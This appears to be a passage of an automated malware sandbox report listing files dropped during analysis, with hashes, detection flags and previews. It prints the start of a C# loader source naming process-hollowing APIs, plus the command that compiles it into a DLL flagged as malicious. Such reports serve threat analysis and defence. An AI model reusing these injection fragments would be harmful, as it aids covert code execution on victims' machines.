File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	unknown
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2421047741749685
Encrypted:	false
SSDEEP:
MD5:	2880CB8D4EFC3F0FF6108243F3FE0838
SHA1:	2C291721871FB78CABB82F432F9CE291ADE117C1
SHA-256:	36C4879107C217565AE3E22692F70EE8D95098C8257B85DAF7A065F56BBC319C
SHA-512:	028112B16D073AE8A72262EFD2C3D9F68EE38010922EE7C33E1E2C9CA65E774480115A21E4EE736F296E48CC8E8C7E1584183BC4FD939746F53FD97D68FE5193
Malicious:	false
Reputation:	unknown
Preview:	p...... ..........e..[..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18896
Entropy (8bit):	5.496261708299931
Encrypted:	false
SSDEEP:
MD5:	A7885189695E5851A3FDDB693718D2A1
SHA1:	3DB6C7563BF8DD6747FDB6334D1C4971150DBA31
SHA-256:	DD604EB86E9542DCC8BC309ABC4B221D7431808A39088102D1080F44755B30A4
SHA-512:	5DA7EFD47B605A313905B78BD176D7CC06206A9757A7371D87A7D4B985E0BA8738990831D21A88A0FF0D7EBA5B5524A19F586FAF0339A9907EE3D4911375F4C3
Malicious:	false
Reputation:	unknown
Preview:	@...e...........;...............................................H...............o..b~.D.poM...<..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....^.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	17616
Entropy (8bit):	5.497765891214949
Encrypted:	false
SSDEEP:
MD5:	C6F3C02B8E90D5834A319BF034DCB190
SHA1:	7CEDF5F229699B3E0202583987CA80170AF41856
SHA-256:	795F5D50B8FC2A51F952C789BB9129F3098A4CD04FCB82A7FD6AFE7507370D8F
SHA-512:	A739684C8085CCA28853EEAD845DE5EFAF96A0068F6B6CEFD2F1E5CF0824F18686C02E0CA53AEC7FF9CD0969A37E21D6E7DF4CFB9EF041A1B319BF8B94EB6E83
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........H...............o..b~.D.poM...C..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.P.....%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\40kpnqa1.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.546700076718714
Encrypted:	false
SSDEEP:
MD5:	B5C3A2D03FF4C721192716F326C77DEA
SHA1:	6B754FD988CA58865674B711ABA76D3C6B2C5693
SHA-256:	AB42FE5FD08CB87663E130F99F96124FDD37D825D081B9712B0BAD8B6F270FAC
SHA-512:	D32E5A98C12B6B85D1913555EA54F837CD0FC647CA945AEF9D75FFADE06506BE1F4A2348827F11C4EEAE0796E4156C8F352E3C0F9A6E2CDC93CB501BCDF2C248
Malicious:	false
Reputation:	unknown
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	5.054865807525143
Encrypted:	false
SSDEEP:
MD5:	F8C1A415A7665409736F80C6EDC3372B
SHA1:	4657EF173BC76B01164C4475C629F8452CD4958B
SHA-256:	C5439617562FD6330F1AB53446D488F7B3DC0B3945DD1FB74C3FF4BA46B27CAE
SHA-512:	BC9C0C3E40241DD461071E275038D86D74F5EF971F6D52394FAAA7466DCAA5A71DEE4F1F61B681B920BF46180B3A765C391CC09F9FB080909ACD39001C81BAA6
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\40kpnqa1.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\40kpnqa1.0.cs"

C:\Users\user\AppData\Local\Temp\40kpnqa1.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.631096457862915
Encrypted:	false
SSDEEP:
MD5:	43BDE0B44F5D295E47A6ACF690FF7FFA
SHA1:	096CFFF96B09BBBB756F16331604F85F6D88B4F1
SHA-256:	EAEAE378C446938D0348617B36B99F5A538DF712F7D6133BB7E8C39EAA6B8C2A
SHA-512:	369C6EE0E3EC6B45A50100414206691FAF1D38D831A57655B7205537E91DFD92E807C0D578562D0E7ADBD868B90D4AFDBCBD4CABBFEFBD1CB364275161061383
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Tsg...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\40kpnqa1.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	675
Entropy (8bit):	5.246671315534222
Encrypted:	false
SSDEEP:
MD5:	AC4768CFC88CF0058687EF245B1B30B1
SHA1:	26E3B4ED0153B41E53994C3B88D23A1119EA9236
SHA-256:	586DC8DFE284D5908C58776A33CD1FC3B480597D55D87C04AC8D3867992DD92D
SHA-512:	C31019090DB703A6751AFC5C50703D9CE11C3439E9F70AC4A512B8A7EE77B4FB0825B5525D0D15DE597DD3F158115256011420D2524B6A2EAB8E5A02A8D5EDA7
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\40kpnqa1.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\40kpnqa1.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0988221712798496
Encrypted:	false
SSDEEP:
MD5:	D99B7691F09D928C0E3F77F469CA3C48
SHA1:	86D4A84C5108A5428F5AD51E97DD75C5A5256F9D
SHA-256:	C83D91D026029803AABB189F020FD034C5423D1716A483AB26170654B237714D
SHA-512:	7604437A31AC3FED0FA22F6AFD7124AAC6B756B340681A539858D1AFEBB378904FC4D556D5BACE1EE8C76E15A7E0474CFC11BFF9AFFFA6E1D6A5F67EEF6A8F5D
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.0.k.p.n.q.a.1...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...4.0.k.p.n.q.a.1...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES3634.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x47a, 9 symbols, created Tue Dec 31 02:19:34 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1312
Entropy (8bit):	3.9474946116169476
Encrypted:	false
SSDEEP:
MD5:	70C1137B70554DA8E6B63ECF27C3A02E
SHA1:	254CC09D91C5B0A5304D55F237BE6DBD21FB3C8E
SHA-256:	9E8B117765C58FCC5651EB7142EE91BE056652100D12E59D5E9E2655BA45CF91
SHA-512:	1A82F45DBD0961A85E29B95E34E0A0DC073BE79767D6BB1FB9CA23522F138A6D3458F5E1894E54F022DE4FEC06962F0141CF6829870389852EF367D494C2A1D6
Malicious:	false
Reputation:	unknown
Preview:	L....Tsgz............debug$S........<...................@..B.rsrc$01........X....... ...........@..@.rsrc$02........P...*...............@..@........J....c:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP..................v....?w.i.<H..........3.......C:\Users\user\AppData\Local\Temp\RES3634.tmp.-.<....................a..Microsoft (R) CVTRES.U.=..cwd.C:\Users\user.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.0.k.p.n.q.a.1...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgcxe4pu.orw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	FFEB803BF85AF401BC595BB27D6D7187
SHA1:	6C4137C68B4BC47DB4253DC8B89AC4C56C72CD09
SHA-256:	818580BE73FE45E5D1AF4266A2EA95E9801CB9EF967145C7A73FB31C1A87B5C9
SHA-512:	22D10070D26EA47254295F7A8C682A6CF26E5D5472FCD1EBFAC170A63531CBA2171005B90FDC4B0AFBC82B87AA82DFFDF0EFBB6CA96C5DB390FFEAC6091DCDDA
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ......{4....6...[..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4.......[..L...[......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H.YH...............................A.p.p.D.a.t.a...B.V.1......YM...Roaming.@......FW.H.YM...............................R.o.a.m.i.n.g.....\.1......YJ...MICROS~1..D......FW.H.YP............................&..M.i.c.r.o.s.o.f.t.....V.1.....GX*w..Windows.@......FW.H.YH...........................E...W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.H.YH.....................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......YQ...Programs..j......FW.H.YR.....................@.......P.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.H.YR...........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.H.Ye.....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V4DW04A106P7RL7RRJTH.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7176454916377706
Encrypted:	false
SSDEEP:
MD5:	FFEB803BF85AF401BC595BB27D6D7187
SHA1:	6C4137C68B4BC47DB4253DC8B89AC4C56C72CD09
SHA-256:	818580BE73FE45E5D1AF4266A2EA95E9801CB9EF967145C7A73FB31C1A87B5C9
SHA-512:	22D10070D26EA47254295F7A8C682A6CF26E5D5472FCD1EBFAC170A63531CBA2171005B90FDC4B0AFBC82B87AA82DFFDF0EFBB6CA96C5DB390FFEAC6091DCDDA
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ......{4....6...[..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4.......[..L...[......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H.YH...............................A.p.p.D.a.t.a...B.V.1......YM...Roaming.@......FW.H.YM...............................R.o.a.m.i.n.g.....\.1......YJ...MICROS~1..D......FW.H.YP............................&..M.i.c.r.o.s.o.f.t.....V.1.....GX*w..Windows.@......FW.H.YH...........................E...W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.H.YH.....................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......YQ...Programs..j......FW.H.YR.....................@.......P.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.H.YR...........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.H.Ye.....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 30 23:26:33 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9827999930998894
Encrypted:	false
SSDEEP:
MD5:	5234AD3F9DC197A190BE1F36743512C4
SHA1:	C64F4218B260F0614EF885CBFB71692307B80BA9
SHA-256:	F76138EBFDD8C27E39D46326CA5AB31B721BD672ED1906D68D60C4EBFF189F05
SHA-512:	ECA9201993CF92D59CB1C3F945FCE76E83DC3FC16F805BCEDF4848654CEC13DF0417A517B808A89A09268ECB1801E977C1B86447750EB6F5E5A7AD302B3E79C6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......3..[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.YH.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YP.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YP.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YP............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YQ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............\.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 30 23:26:33 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.998200462183015
Encrypted:	false
SSDEEP:
MD5:	8D7C0D5EC02FD6DAC9379F41FE238AD2
SHA1:	D99A75F5ADBFC6290A9FBC44909AC640AF8E5D66
SHA-256:	4DF8D4497DA6DD3AE474F560B199BB886A895D42B3CAA5717BBC70CBD580DB0C
SHA-512:	7675A54D05EC859A0A0D8CA71778BAE0707DEAD1C87C7EAC2103A401B61F30C2BC0574827605F8CF252C2669B9651D302E85F80787FF6A0C6CD4B026B377DCC5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....=.)..[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.YH.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YP.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YP.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YP............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YQ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............\.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.003862066807599
Encrypted:	false
SSDEEP:
MD5:	2AB849C46292E283B6570ECFD87251D0
SHA1:	7664891451F83402E1D2EC6CAB1C74F5DAB7A2FF
SHA-256:	8BF99A614E61801DED054C0B5E7473ED5379F7078E7A8A363E5107F97A539C97
SHA-512:	65323172F0DE0CA2A522AC2B7F4CA5531ADC637567D564541C2D65E7C651388627A617D82FBE7A8B153E6D6037FB4B6FA769D228EB1DC539FFE20EF72AACFC34
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.YH.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YP.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YP.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YP............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............\.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 30 23:26:33 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9962292735205063
Encrypted:	false
SSDEEP:
MD5:	25602D18626A56E2C21F92CD0E56A65A
SHA1:	69BD982B725A30690308D80256E025787BB601FE
SHA-256:	DC226575CB7002A10EBEB3754E108F7244BD9CC8E7AD5BF2E0FD71F4FE7F9CCE
SHA-512:	DCC9CFD2361CE6DD7E604D7B865DF5A129569EA0A093DBB48A6A361F177606398925E9398B5F865F3F310AE34CB10EE9C0510D4E3270EAD2A764C343478446CF
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......#..[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.YH.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YP.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YP.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YP............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YQ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............\.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 30 23:26:33 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9845485013822577
Encrypted:	false
SSDEEP:
MD5:	A086EA149F17DB6CE7E076419F7F8035
SHA1:	2AD47E32CF97E404E4F0E71E60FB790C60377170
SHA-256:	A32584733C15930F0F81187E9448A2B77900D16A658C896F6F99844B144CBC48
SHA-512:	D109DE68E67391E11023954A9E6133CD2FF339662BD089EE74270AEB4ABDCD5540C07FE982BDE6BAE795F3C511C35689F773929B36F65BDB40744CC008DEC919
Malicious:	false
Reputation:	unknown
